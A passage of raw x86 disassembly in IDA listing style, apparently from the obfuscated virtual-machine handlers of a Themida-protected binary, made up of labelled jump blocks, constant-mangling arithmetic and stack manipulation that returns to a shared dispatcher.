pop dword ptr [esp]
jmp loc_588639
; ---------------------------------------------------------------------------
loc_58B18D: ; CODE XREF: Themida_:00588896j
push eax
mov eax, 70FA3BB6h
not eax
shl eax, 3
neg eax
jmp loc_58DBD4
; ---------------------------------------------------------------------------
loc_58B19F: ; CODE XREF: Themida_:0058D8B1j
push ebx
push ecx
mov cl, dl
mov bh, cl
mov ecx, [esp]
push ecx
mov ecx, esp
add ecx, 4
push ebp
mov ebp, 4
jmp loc_589F16
; ---------------------------------------------------------------------------
loc_58B1BC: ; CODE XREF: Themida_:0058DEE1j
add [esp+8], ebx
jmp loc_58B8B5
; ---------------------------------------------------------------------------
loc_58B1C5: ; CODE XREF: Themida_:00588E93j
pop edx
add al, bl
jmp loc_58273E
; ---------------------------------------------------------------------------
loc_58B1CD: ; CODE XREF: Themida_:005837A0j
dec eax
push ebx
mov ebx, 5140565Ch
sub eax, ebx
pop ebx
xor eax, 34C8233Ah
shl eax, 2
sub eax, 99E0EC6Fh
xor ebp, eax
pop eax
jmp loc_582452
; ---------------------------------------------------------------------------
loc_58B1EC: ; CODE XREF: Themida_:00588340j
mov [esp], edx
push esp
push dword ptr [esp]
pop edx
add esp, 4
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
shr eax, 0Ch
xor eax, ecx
push 1052h
mov [esp], eax
push esi
jmp loc_58581B
; ---------------------------------------------------------------------------
loc_58B21A: ; CODE XREF: Themida_:005858A9j
push edx
mov edx, 4
add eax, edx
pop edx
push ebx
push esi
jmp loc_5823F9
; ---------------------------------------------------------------------------
loc_58B22A: ; CODE XREF: Themida_:0058C7D0j
add edx, 230B5384h
add edx, 12DA3138h
mov ebx, [esp]
add esp, 4
add edx, 588A7838h
dec edx
jmp loc_58B5B7
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop ax
sbb [esp], al
pushf
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_58B25A: ; CODE XREF: Themida_:005852E0j
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
mov esp, [esp]
and eax, edx
pop edx
or edx, eax
shl edx, 1
sub esp, 4
mov [esp], eax
push 1111h
mov [esp], ebp
push eax
push ebp
mov ebp, 7CB0FFBh
xor ebp, 67C22E9h
shl ebp, 4
push edx
mov edx, 0C760808h
xor ebp, edx
pop edx
dec ebp
sub ebp, 0D8D16D77h
mov eax, ebp
jmp loc_58CAF1
; ---------------------------------------------------------------------------
loc_58B2A4: ; CODE XREF: Themida_:00586F3Ej
shr edx, 2
neg edx
add edx, 3FDBE8Eh
add eax, edx
mov edx, [esp]
add esp, 4
add eax, 4
jmp loc_582B88
; ---------------------------------------------------------------------------
loc_58B2C1: ; CODE XREF: Themida_:0058CF2Cj
sub cl, 1
sub cl, 64h
push eax
push ebx
mov bh, cl
mov ah, bh
pop ebx
jmp loc_587F91
; ---------------------------------------------------------------------------
loc_58B2D3: ; CODE XREF: Themida_:0058CF44j
mov ebx, [esp]
add esp, 4
push esi
jmp loc_58B684
; ---------------------------------------------------------------------------
loc_58B2DF: ; CODE XREF: Themida_:00581989j
sub esi, 4B57269h
add edx, esi
pop esi
add ebx, edx
pop edx
add edx, 377562ACh
add edx, 7C5249A8h
jmp loc_58B966
; ---------------------------------------------------------------------------
loc_58B2FC: ; CODE XREF: Themida_:005876BFj
add esi, ebp
pop ebp
jmp loc_58921F
; ---------------------------------------------------------------------------
loc_58B304: ; CODE XREF: Themida_:005835CBj
add ebx, edx
pop edx
sub ebx, 69E239FFh
sub ebx, 483F118Dh
sub esp, 4
mov [esp], ebx
push edx
jmp loc_5884F3
; ---------------------------------------------------------------------------
loc_58B31F: ; CODE XREF: Themida_:0058C596j
pop esi
pop ebp
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_58B326: ; CODE XREF: Themida_:0058A94Dj
pop edi
add esp, 4
and [edi+1Ch], ecx
mov ecx, [esp]
add esp, 4
jmp loc_58669D
; ---------------------------------------------------------------------------
loc_58B338: ; CODE XREF: Themida_:005829E6j
mov esp, [esp]
test cx, ax
pushf
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_58B344: ; CODE XREF: Themida_:00585EB5j
pop ecx
push ebp
sub esp, 4
mov [esp], esp
jmp loc_583490
; ---------------------------------------------------------------------------
loc_58B351: ; CODE XREF: Themida_:0058AC58j
pop eax
xchg edi, [esp]
pop esp
dec dword ptr [esp]
pushf
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_58B35F: ; CODE XREF: Themida_:0058CD6Dj
mov [esp], eax
mov eax, 1D4EF67Fh
jmp loc_586EF2
; ---------------------------------------------------------------------------
loc_58B36C: ; CODE XREF: Themida_:0058C23Cj
pop ebx
mov ecx, [esp]
add esp, 4
inc al
sub al, 0EEh
sub bl, 2Eh
add bl, al
add bl, 2Eh
mov eax, [esp]
add esp, 4
movzx eax, al
push dword ptr [edi+eax*4]
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_58B393: ; CODE XREF: Themida_:0058428Fj
push eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
pop esp
imul ecx, eax
push ecx
pushf
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_58B3A7: ; CODE XREF: Themida_:00587AF1j
sub edx, ebx
add edx, 5DB37C2Bh
jmp loc_589427
; ---------------------------------------------------------------------------
loc_58B3B4: ; CODE XREF: Themida_:0058BAA8j
add ebx, 4
jmp loc_586A3A
; ---------------------------------------------------------------------------
loc_58B3BF: ; CODE XREF: Themida_:00586DCFj
add ecx, 36F55AA3h
pop esi
jmp loc_5886C1
; ---------------------------------------------------------------------------
loc_58B3CB: ; CODE XREF: Themida_:00582C79j
push ebp
push 14383865h
pop ebp
jmp loc_58706A
; ---------------------------------------------------------------------------
loc_58B3D7: ; CODE XREF: Themida_:00589836j
push eax
mov eax, 4
jmp loc_58366E
; ---------------------------------------------------------------------------
loc_58B3E2: ; CODE XREF: Themida_:00589A13j
sub esp, 4
jmp loc_5868AB
; ---------------------------------------------------------------------------
loc_58B3EA: ; CODE XREF: Themida_:0058BD45j
mov edi, 2B35247Ah
jmp loc_582EDB
; ---------------------------------------------------------------------------
loc_58B3F4: ; CODE XREF: Themida_:00583B3Ej
mov [esp], si
push bp
mov bp, 0D807h
push bp
add word ptr [esp], 7240h
pop si
push dx
push 522Ch
mov [esp], edi
push small 3D36h
pop di
push ecx
mov cx, 728Fh
and cx, 7A2Eh
xor cx, 44D7h
add cx, 483Dh
and di, cx
pop ecx
xor di, 4F56h
mov dx, di
pop edi
jmp loc_58D70F
; ---------------------------------------------------------------------------
loc_58B43E: ; CODE XREF: Themida_:00582AABj
shr edx, 3
push eax
mov eax, 3BD2707Dh
and edx, eax
pop eax
push edi
push ebx
mov ebx, 71412ECBh
mov edi, 0F505527h
jmp loc_5895EA
; ---------------------------------------------------------------------------
loc_58B45B: ; CODE XREF: Themida_:00584821j
sub edx, ebp
add edx, 11093CB4h
pop ebp
pop ebp
mov eax, edx
mov edx, [esp]
add esp, 4
push 3E5Dh
jmp loc_58AB2D
; ---------------------------------------------------------------------------
loc_58B477: ; CODE XREF: Themida_:00587FE2j
pop ebp
push esi
mov esi, 4
jmp loc_58356F
; ---------------------------------------------------------------------------
loc_58B483: ; CODE XREF: Themida_:00588734j
sub al, bh
mov ebx, [esp]
jmp loc_58A82C
; ---------------------------------------------------------------------------
loc_58B48D: ; CODE XREF: Themida_:00588DDBj
push ecx
mov ecx, edi
jmp loc_58C083
; ---------------------------------------------------------------------------
loc_58B495: ; CODE XREF: Themida_:0058A9F7j
add dword ptr [esp], 4
mov ecx, [esp]
jmp loc_589707
; ---------------------------------------------------------------------------
loc_58B4A1: ; CODE XREF: Themida_:005843EFj
or dh, 0BDh
or dh, 0EEh
dec dh
sub dh, 89h
and dh, 36h
sub dh, 45h
mov bl, dh
pop edx
shr bl, 1
shl bl, 5
or bl, 0FDh
add bl, 0
add al, bl
pop ebx
add al, 67h
sub al, dl
sub al, 67h
sub al, 0FDh
pop edx
sub esp, 2
jmp loc_582E9B
; ---------------------------------------------------------------------------
loc_58B4D4: ; CODE XREF: Themida_:0058AF2Aj
pop ecx
xor al, dl
mov dx, [esp]
add esp, 2
xor bl, al
movzx eax, al
jmp loc_587274
; ---------------------------------------------------------------------------
loc_58B4EB: ; CODE XREF: Themida_:005849E6j
add cl, dl
pop edx
xor cl, 8Bh
sub cl, 60h
or cl, 5Dh
jmp loc_58D6FA
; ---------------------------------------------------------------------------
mov cx, [esp]
push edi
push ebx
mov ebx, esp
add ebx, 4
push ebp
mov ebp, 4
sub ebx, ebp
jmp loc_58CCBB
; ---------------------------------------------------------------------------
loc_58B517: ; CODE XREF: Themida_:005841DEj
sub esi, 35161F08h
mov edi, esi
mov esi, [esp]
add esp, 4
shl edi, 3
sub edi, 424DEB7Bh
add esi, 3E83409Ch
sub esi, edi
sub esi, 3E83409Ch
mov edi, [esp]
add esp, 4
push 0
jmp loc_5824AF
; ---------------------------------------------------------------------------
loc_58B54C: ; CODE XREF: Themida_:005838C8j
push bx
jmp loc_585FDE
; ---------------------------------------------------------------------------
push dword ptr fs:[edx]
jmp loc_58B9EC
; ---------------------------------------------------------------------------
loc_58B55B: ; CODE XREF: Themida_:00584EC7j
pop eax
movzx eax, al
mov dx, [esp]
jmp loc_5839CA
; ---------------------------------------------------------------------------
loc_58B568: ; CODE XREF: Themida_:00587C2Aj
xor esi, 78ADB8A9h
not esi
sub esp, 4
mov [esp], edx
jmp loc_58C637
; ---------------------------------------------------------------------------
loc_58B57B: ; CODE XREF: Themida_:00588E2Ej
push ebp
push dword ptr [esp+4]
mov ebp, [esp]
add esp, 4
pop dword ptr [esp]
jmp loc_58C848
; ---------------------------------------------------------------------------
loc_58B58E: ; CODE XREF: Themida_:00585CE3j
add ebx, 36B2667Bh
sub esp, 4
mov [esp], esi
mov esi, 41550CC4h
push esi
xchg edx, [esp]
not edx
jmp loc_586A6D
; ---------------------------------------------------------------------------
loc_58B5AD: ; CODE XREF: Themida_:0058A04Bj
push esi
push dword ptr [esp+4]
jmp loc_58405D
; ---------------------------------------------------------------------------
loc_58B5B7: ; CODE XREF: Themida_:0058B246j
push ebx
mov ebx, 4C5677C6h
jmp loc_58AB71
; ---------------------------------------------------------------------------
loc_58B5C2: ; CODE XREF: Themida_:0058DF02j
push edx
jmp loc_58479A
; ---------------------------------------------------------------------------
loc_58B5C8: ; CODE XREF: Themida_:0058D54Cj
add dh, 0BEh
sub bl, 8Eh
add bl, dh
push eax
mov ah, 64h
add ah, 0C7h
push ebx
mov bh, 9
dec bh
inc bh
jmp loc_58B8BB
; ---------------------------------------------------------------------------
loc_58B5E2: ; CODE XREF: Themida_:00586793j
pop edi
pop dword ptr [edi+20h]
jmp loc_58CD26
; ---------------------------------------------------------------------------
loc_58B5EB: ; CODE XREF: Themida_:00585AA4j
mov ebx, 7EEB11A8h
push 0
push edx
mov edx, 0B213DC8h
jmp loc_58C79A
; ---------------------------------------------------------------------------
loc_58B600: ; CODE XREF: Themida_:00585618j
push eax
mov eax, 4
add ecx, eax
jmp loc_581EBA
; ---------------------------------------------------------------------------
loc_58B60D: ; CODE XREF: Themida_:00587559j
mov edi, edx
jmp loc_583FE5
; ---------------------------------------------------------------------------
loc_58B614: ; CODE XREF: Themida_:0058D28Cj
pop esp
jmp loc_58BA7A
; ---------------------------------------------------------------------------
loc_58B61A: ; CODE XREF: Themida_:0058B6CDj
push ecx
mov ecx, 14E59AEh
sub esi, ecx
mov ecx, [esp]
add esp, 4
add edi, esi
pop esi
push ebx
mov ebx, 636F6844h
sub edi, ebx
pop ebx
push edi
pop dword ptr [edx+38h]
pop edi
loc_58B639: ; CODE XREF: Themida_:0058A327j
push ecx
push esp
jmp loc_58C918
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_58CB55
; ---------------------------------------------------------------------------
loc_58B649: ; CODE XREF: Themida_:005879CBj
pop edi
pop dword ptr [esp]
mov esp, [esp]
jmp loc_5854F7
; ---------------------------------------------------------------------------
loc_58B655: ; CODE XREF: Themida_:0058C691j
mov ebp, 2ACA7706h
add ecx, ebp
pop ebp
not ecx
jmp loc_5857BD
; ---------------------------------------------------------------------------
loc_58B664: ; CODE XREF: Themida_:00588BD6j
add esi, 4
push 0DAh
mov [esp], eax
mov eax, 2
sub esi, 3232784Bh
add esi, eax
jmp loc_5848D9
; ---------------------------------------------------------------------------
loc_58B684: ; CODE XREF: Themida_:0058B2DAj
push dword ptr [esp+4]
jmp loc_587B8A
; ---------------------------------------------------------------------------
loc_58B68D: ; CODE XREF: Themida_:00583159j
sub esi, ecx
sub esi, 68686B4Dh
mov ecx, [esp]
push ebp
mov ebp, esp
push ecx
jmp loc_5866A2
; ---------------------------------------------------------------------------
loc_58B6A1: ; CODE XREF: Themida_:00589362j
add esp, 4
jmp loc_589A2C
; ---------------------------------------------------------------------------
loc_58B6AC: ; CODE XREF: Themida_:00584F71j
add esp, 4
push edx
push bx
mov bl, 35h
jmp loc_58437E
; ---------------------------------------------------------------------------
loc_58B6BC: ; CODE XREF: Themida_:0058BDA4j
add al, 25h
sub al, 0A8h
jmp loc_58634A
; ---------------------------------------------------------------------------
loc_58B6C5: ; CODE XREF: Themida_:0058CF15j
not edi
push esi
mov esi, 52F7631Ch
jmp loc_58B61A
; ---------------------------------------------------------------------------
loc_58B6D2: ; CODE XREF: Themida_:005872DEj
sub al, cl
add al, 66h
mov ecx, [esp]
jmp loc_587645
; ---------------------------------------------------------------------------
loc_58B6DE: ; CODE XREF: Themida_:00584DFBj
push ecx
pop esi
pop ecx
jmp loc_5869F6
; ---------------------------------------------------------------------------
loc_58B6E6: ; CODE XREF: Themida_:00589C55j
pop dword ptr [esp]
add dword ptr [esp], 4
pop edi
add edi, 4
add edi, 4
xchg edi, [esp]
mov esp, [esp]
sub esp, 4
jmp loc_584E64
; ---------------------------------------------------------------------------
loc_58B70B: ; CODE XREF: Themida_:00581D67j
sub esp, 4
mov [esp], ebx
mov ebx, 4
mov eax, ebx
pop ebx
jmp loc_58A8EA
; ---------------------------------------------------------------------------
loc_58B71E: ; CODE XREF: Themida_:00587140j
sub esi, 4
push esi
push dword ptr [esp+4]
pop esi
jmp loc_588EB3
; ---------------------------------------------------------------------------
loc_58B72C: ; CODE XREF: Themida_:00585C98j
mov ecx, 0FEB605Eh
add ecx, 5F52149Eh
neg ecx
jmp loc_587ABD
; ---------------------------------------------------------------------------
loc_58B73E: ; CODE XREF: Themida_:00583B85j
mov ebp, 4
add ecx, ebp
pop ebp
xchg ecx, [esp]
mov esp, [esp]
add esp, 4
jmp loc_581AA8
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov eax, [esp]
add esp, 4
jmp loc_58287E
; ---------------------------------------------------------------------------
loc_58B765: ; CODE XREF: Themida_:00587DEEj
mov dx, [esp]
add esp, 2
jmp loc_586DDE
; ---------------------------------------------------------------------------
loc_58B771: ; CODE XREF: Themida_:00583F86j
xor edi, 595E45E1h
push dword ptr [esp]
pop edx
jmp loc_58A894
; ---------------------------------------------------------------------------
loc_58B780: ; CODE XREF: Themida_:0058A7C3j
xor ch, 45h
push dx
mov dh, 0CFh
jmp loc_58CE5C
; ---------------------------------------------------------------------------
loc_58B78C: ; CODE XREF: Themida_:00589178j
pop esi
and eax, ebx
pop ebx
jmp loc_58795C
; ---------------------------------------------------------------------------
loc_58B795: ; CODE XREF: Themida_:00587479j
push edx
sub esp, 2
jmp loc_58355A
; ---------------------------------------------------------------------------
loc_58B7A1: ; CODE XREF: Themida_:0058586Bj
shl esi, 2
jmp loc_58C1B1
; ---------------------------------------------------------------------------
loc_58B7A9: ; CODE XREF: Themida_:00588AA7j
add edi, 4
jmp loc_58DD39
; ---------------------------------------------------------------------------
loc_58B7B1: ; CODE XREF: Themida_:005887F0j
push bx
mov bl, 58h
add al, bl
pop bx
push ecx
mov cl, 2Bh
shr cl, 3
shr cl, 3
push cx
xchg bh, [esp]
not bh
jmp loc_58B93F
; ---------------------------------------------------------------------------
mov ax, [esp]
push 59B1h
jmp loc_58A28C
; ---------------------------------------------------------------------------
neg byte ptr [esp]
pushf
jmp loc_58D84C
; ---------------------------------------------------------------------------
loc_58B7E5: ; CODE XREF: Themida_:005845C1j
sub dword ptr [esp+8], 4A922F27h
jmp loc_5819A8
; ---------------------------------------------------------------------------
loc_58B7F2: ; CODE XREF: Themida_:00588552j
add ebp, ecx
pop ecx
push eax
jmp loc_58CD72
; ---------------------------------------------------------------------------
loc_58B7FB: ; CODE XREF: Themida_:00582902j
mov bx, [esp]
jmp loc_58D6EA
; ---------------------------------------------------------------------------
loc_58B804: ; CODE XREF: Themida_:00584D07j
xor edx, edx
push 4EE9h
mov [esp], ebx
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push esi
push esp
jmp loc_589DC0
; ---------------------------------------------------------------------------
loc_58B81E: ; CODE XREF: Themida_:00582412j
push ebx
jmp loc_5882DB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5F0C13
loc_58B824: ; CODE XREF: sub_5F0C13-6F29Bj
pop edi
add ebp, 1D4605E1h
add ebp, eax
sub ebp, 1D4605E1h
mov eax, [esp+2Eh+var_2E]
add esp, 4
jmp loc_5889E1
; END OF FUNCTION CHUNK FOR sub_5F0C13
; ---------------------------------------------------------------------------
loc_58B841: ; CODE XREF: Themida_:0058C167j
mov [esp], ebp
mov ebp, 785C7A93h
shl ebp, 4
neg ebp
sub ebp, 0D6C69E57h
sub eax, ebp
pop ebp
add ebp, eax
pop eax
push edi
mov edi, 2
jmp loc_581EA1
; ---------------------------------------------------------------------------
loc_58B865: ; CODE XREF: Themida_:0058658Ej
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_58B86A: ; CODE XREF: Themida_:00586A28j
mov ecx, eax
pop eax
xor ecx, 0AF22856Bh
add edx, ecx
push dword ptr [esp]
pop ecx
add esp, 4
add edx, 2
xchg edx, [esp]
pop esp
mov cx, [esp]
jmp loc_58C438
; ---------------------------------------------------------------------------
loc_58B892: ; CODE XREF: Themida_:0058BECBj
pop eax
add eax, 40A95D03h
add eax, edx
jmp loc_584E1E
; ---------------------------------------------------------------------------
loc_58B89F: ; CODE XREF: Themida_:005879E2j
push esi
push esp
jmp loc_587F69
; ---------------------------------------------------------------------------
loc_58B8A6: ; CODE XREF: Themida_:00587F64j
or [edi+1Ch], ebp
push dword ptr [esp]
pop ebp
add esp, 4
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_58B8B5: ; CODE XREF: Themida_:0058B1C0j
pop ebx
jmp loc_58CDA4
; ---------------------------------------------------------------------------
loc_58B8BB: ; CODE XREF: Themida_:0058B5DDj
not bh
jmp loc_5897EC
; ---------------------------------------------------------------------------
loc_58B8C2: ; CODE XREF: Themida_:00581E77j
sub esi, 53DE4236h
add esi, 0FFFFFFFFh
not esi
add esi, 6B964C9h
mov edx, esi
pop esi
and eax, edx
jmp loc_58502D
; ---------------------------------------------------------------------------
loc_58B8E0: ; CODE XREF: Themida_:00582153j
push ebp
push esp
mov ebp, [esp]
add esp, 4
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], eax
mov eax, 5B07015Eh
xor eax, 1D1E5BEDh
add eax, 5D585DC9h
inc eax
jmp loc_58C162
; ---------------------------------------------------------------------------
loc_58B913: ; CODE XREF: Themida_:00586F09j
add esp, 4
sub [esp+4], ebx
add dword ptr [esp+4], 15F822C6h
pop ebx
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_58B928: ; CODE XREF: Themida_:0058D6DDj
pop ecx
add ebx, 53AA66AFh
add ebx, edi
push edi
jmp loc_586198
; ---------------------------------------------------------------------------
loc_58B937: ; CODE XREF: Themida_:005871ABj
xor ebx, [esp]
jmp loc_5829E0
; ---------------------------------------------------------------------------
loc_58B93F: ; CODE XREF: Themida_:0058B7C9j
xchg bh, [esp]
pop cx
jmp loc_583839
; ---------------------------------------------------------------------------
loc_58B949: ; CODE XREF: Themida_:00583D27j
add esp, 4
sub ch, dl
pop edx
jmp loc_589310
; ---------------------------------------------------------------------------
loc_58B954: ; CODE XREF: Themida_:00589F2Bj
mov ch, ah
pop eax
push ebx
mov ebx, 0
add ebx, eax
mov [ebx], ch
jmp loc_583903
; ---------------------------------------------------------------------------
loc_58B966: ; CODE XREF: Themida_:0058B2F7j
add edx, 111176BFh
add edx, eax
push 1017h
mov [esp], ecx
push 359Dh
mov [esp], ebx
jmp loc_588278
; ---------------------------------------------------------------------------
loc_58B983: ; CODE XREF: Themida_:0058C6AFj
xchg esi, [esp]
pop esp
jmp loc_583C56
; ---------------------------------------------------------------------------
loc_58B98C: ; CODE XREF: Themida_:0058D51Ej
and ebp, eax
pop eax
and ebp, 0F2A0ABBh
jmp loc_583983
; ---------------------------------------------------------------------------
loc_58B99A: ; CODE XREF: Themida_:00583CC3j
pop ebp
pop dword ptr [esp]
jmp loc_589F77
; ---------------------------------------------------------------------------
loc_58B9A3: ; CODE XREF: Themida_:0058CA6Aj
add ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_5827D9
; ---------------------------------------------------------------------------
loc_58B9B2: ; CODE XREF: Themida_:0058C479j
mov eax, ebx
pop ebx
push esi
mov esi, 21DA2B66h
sub eax, esi
jmp loc_589AE2
; ---------------------------------------------------------------------------
loc_58B9C2: ; CODE XREF: Themida_:0058DF99j
xor edi, 3A5B12B1h
neg edi
xor edi, 111250E1h
add edi, 5E7D181Dh
add eax, edi
pop edi
jmp loc_58A3B8
; ---------------------------------------------------------------------------
loc_58B9DE: ; CODE XREF: Themida_:00585777j
sub esp, 4
mov [esp], ebp
jmp loc_58ACDE
; ---------------------------------------------------------------------------
loc_58B9EC: ; CODE XREF: Themida_:0058B556j
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_58B9F1: ; CODE XREF: Themida_:00585A44j
mov ebp, 1
sub ebx, ebp
pop ebp
sub ebx, 0D3E7EFBh
push ebx
add dword ptr [esp], 291556DEh
pop edx
sub edx, 291556DEh
pop ebx
add edi, edx
pop edx
push edi
jmp loc_58606D
; ---------------------------------------------------------------------------
loc_58BA18: ; CODE XREF: Themida_:0058C2F7j
pop eax
jmp loc_58558E
; ---------------------------------------------------------------------------
loc_58BA1E: ; CODE XREF: Themida_:0058E009j
mov edi, [esp]
add esp, 4
push eax
push 9FB0352h
pop eax
jmp loc_5822C1
; ---------------------------------------------------------------------------
loc_58BA33: ; CODE XREF: Themida_:0058D7E7j
push ecx
mov cl, dl
mov bl, cl
pop ecx
jmp loc_584FDB
; ---------------------------------------------------------------------------
loc_58BA3E: ; CODE XREF: Themida_:00584149j
mov edi, esp
jmp loc_5830BC
; ---------------------------------------------------------------------------
loc_58BA45: ; CODE XREF: Themida_:005873C9j
sub ebp, 4E585587h
mov ecx, [esp]
add esp, 4
xor ebp, [esp]
jmp loc_58A97F
; ---------------------------------------------------------------------------
loc_58BA59: ; CODE XREF: Themida_:0058761Cj
xor dh, 0F1h
jmp loc_5895D0
; ---------------------------------------------------------------------------
loc_58BA61: ; CODE XREF: Themida_:0058667Bj
sub esp, 4
push esp
jmp loc_582985
; ---------------------------------------------------------------------------
loc_58BA6D: ; CODE XREF: Themida_:00586DEBj
push 5BD3h
mov [esp], ebx
jmp loc_585D32
; ---------------------------------------------------------------------------
loc_58BA7A: ; CODE XREF: Themida_:0058B615j
push esi
push esp
pop esi
sub esp, 4
mov [esp], edi
mov edi, 4
add esi, edi
pop edi
add esi, 4
xchg esi, [esp]
mov esp, [esp]
jmp loc_58AE17
; ---------------------------------------------------------------------------
loc_58BA9F: ; CODE XREF: Themida_:00586511j
sub esp, 4
jmp loc_585B7E
; ---------------------------------------------------------------------------
loc_58BAA7: ; CODE XREF: Themida_:0058AB46j
pop ebx
jmp loc_58B3B4
; ---------------------------------------------------------------------------
loc_58BAAD: ; CODE XREF: Themida_:005895A2j
push dword ptr [edi+eax*4]
add dword ptr [esp], 169F318Fh
mov eax, [esp]
push edx
mov edx, esp
jmp loc_581F47
; ---------------------------------------------------------------------------
loc_58BAC2: ; CODE XREF: Themida_:0058391Bj
pop ebx
jmp loc_5833E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5F0C13
loc_58BAC8: ; CODE XREF: sub_5F0C13-67A94j
pop ax
add al, 0B5h
sub al, ch
sub al, 0B5h
pop ecx
xor bl, al
movzx eax, al
jmp dword ptr [edi+eax*4]
; END OF FUNCTION CHUNK FOR sub_5F0C13
; ---------------------------------------------------------------------------
popa
retn
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_584EDB
; ---------------------------------------------------------------------------
loc_58BAE4: ; CODE XREF: Themida_:005838FEj
xchg ebx, ebp
not ebx
xchg ebx, ebp
push ecx
mov ecx, 0FF9C8335h
sub ebp, ecx
mov ecx, [esp]
jmp loc_587596
; ---------------------------------------------------------------------------
loc_58BAFA: ; CODE XREF: Themida_:00583F14j
sub dword ptr [esp+4], 1CC2663Dh
sub [esp+4], edx
jmp loc_58DEDB
; ---------------------------------------------------------------------------
loc_58BB0B: ; CODE XREF: Themida_:00582A06j
pop ebx
push 6C60h
mov [esp], ebp
mov ebp, 4
add ebx, 671A6D7Ch
jmp loc_5876FA
; ---------------------------------------------------------------------------
loc_58BB24: ; CODE XREF: Themida_:00583ABCj
mov ebx, esp
push edi
jmp loc_581C79
; ---------------------------------------------------------------------------
loc_58BB2C: ; CODE XREF: Themida_:00585EF4j
push edx
mov edx, 177E0F75h
add ebx, edx
jmp loc_585A0C
; ---------------------------------------------------------------------------
loc_58BB39: ; CODE XREF: Themida_:00583D34j
pop eax
jmp loc_584349
; ---------------------------------------------------------------------------
movzx ax, byte ptr [edx]
push small 721Ah
mov [esp], ax
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_58BB50: ; CODE XREF: Themida_:00586552j
and ecx, 34651500h
shl ecx, 2
sub ecx, 2C429E7Dh
sub edx, 69BA095Bh
sub edx, ecx
add edx, 69BA095Bh
pop ecx
add edx, eax
push esi
jmp loc_5819D0
; ---------------------------------------------------------------------------
loc_58BB76: ; CODE XREF: Themida_:00586774j
add ecx, 4
xor ecx, [esp]
xor [esp], ecx
jmp loc_58500A
; ---------------------------------------------------------------------------
loc_58BB84: ; CODE XREF: Themida_:00584EE6j
pop ebp
jmp loc_583E46
; ---------------------------------------------------------------------------
loc_58BB8A: ; CODE XREF: Themida_:0058C0E2j
mov edx, 344A506Dh
sub ebp, edx
pop edx
add ebp, edi
jmp loc_588861
; ---------------------------------------------------------------------------
loc_58BB99: ; CODE XREF: Themida_:00586B92j
push ebp
jmp loc_58D5C5
; ---------------------------------------------------------------------------
loc_58BB9F: ; CODE XREF: Themida_:0058AA4Dj
add edx, 4
add edx, 4
push edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
jmp loc_5844D3
; ---------------------------------------------------------------------------
loc_58BBB6: ; CODE XREF: Themida_:0058439Ej
pop edx
push dword ptr [esp]
push dword ptr [esp]
push dword ptr [esp]
jmp loc_58A3F9
; ---------------------------------------------------------------------------
loc_58BBC5: ; CODE XREF: Themida_:0058DA70j
push 2
pop eax
add ebp, eax
jmp loc_588523
; ---------------------------------------------------------------------------
loc_58BBD2: ; CODE XREF: Themida_:005834ABj
add edx, 6C8904D7h
jmp loc_589561
; ---------------------------------------------------------------------------
loc_58BBDD: ; CODE XREF: Themida_:0058D99Bj
push esi
mov esi, 7F053A9Ch
and esi, 1FC14249h
sub esi, 1F010204h
jmp loc_585837
; ---------------------------------------------------------------------------
loc_58BBF4: ; CODE XREF: Themida_:00582F1Cj
push 24h
push dword ptr [esp]
pop ecx
jmp loc_589FCB
; ---------------------------------------------------------------------------
loc_58BC02: ; CODE XREF: Themida_:0058CDB9j
xor edx, 46AA61D2h
add edx, 0B3431016h
add ebx, edx
pop edx
push 3F4Bh
mov [esp], eax
jmp loc_586F8F
; ---------------------------------------------------------------------------
loc_58BC1E: ; CODE XREF: Themida_:0058A35Aj
mov ebx, esi
pop esi
or edx, ebx
pop ebx
jmp loc_587666
; ---------------------------------------------------------------------------
loc_58BC29: ; CODE XREF: Themida_:0058930Bj
mov [esp], ecx
push dword ptr [esp]
pop eax
add esp, 4
mov ecx, [esp]
jmp loc_588B35
; ---------------------------------------------------------------------------
loc_58BC3B: ; CODE XREF: Themida_:0058242Aj
mov eax, [esp]
add esp, 4
add eax, 28167E4Ah
shr eax, 5
push edx
mov edx, 45124091h
push ecx
jmp loc_58C2DA
; ---------------------------------------------------------------------------
loc_58BC58: ; CODE XREF: Themida_:0058AB64j
mov ebp, eax
pop eax
jmp loc_5875A1
; ---------------------------------------------------------------------------
loc_58BC60: ; CODE XREF: Themida_:0058DBBEj
xchg ebp, [esp]
pop esp
pop dword ptr [esp]
pop esp
jmp loc_58831C
; ---------------------------------------------------------------------------
loc_58BC6D: ; CODE XREF: Themida_:0058C632j
add ecx, 4
sub esp, 4
mov [esp], edx
mov edx, 4
jmp loc_58ADAD
; ---------------------------------------------------------------------------
loc_58BC83: ; CODE XREF: Themida_:005862BFj
pop edx
jmp loc_58A1D6
; ---------------------------------------------------------------------------
loc_58BC89: ; CODE XREF: Themida_:0058682Fj
mov dh, 0B3h
add dh, 2Bh
jmp loc_58D2E4
; ---------------------------------------------------------------------------
loc_58BC93: ; CODE XREF: Themida_:00585A6Aj
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
pop esp
mov [esp], ebx
push dword ptr [esp]
push dword ptr [esp]
pop eax
add esp, 4
push edx
mov edx, esp
push eax
mov eax, 4
jmp loc_586557
; ---------------------------------------------------------------------------
loc_58BCBA: ; CODE XREF: Themida_:00586121j
mov [esp], esp
add dword ptr [esp], 4
pop ebx
push esi
push eax
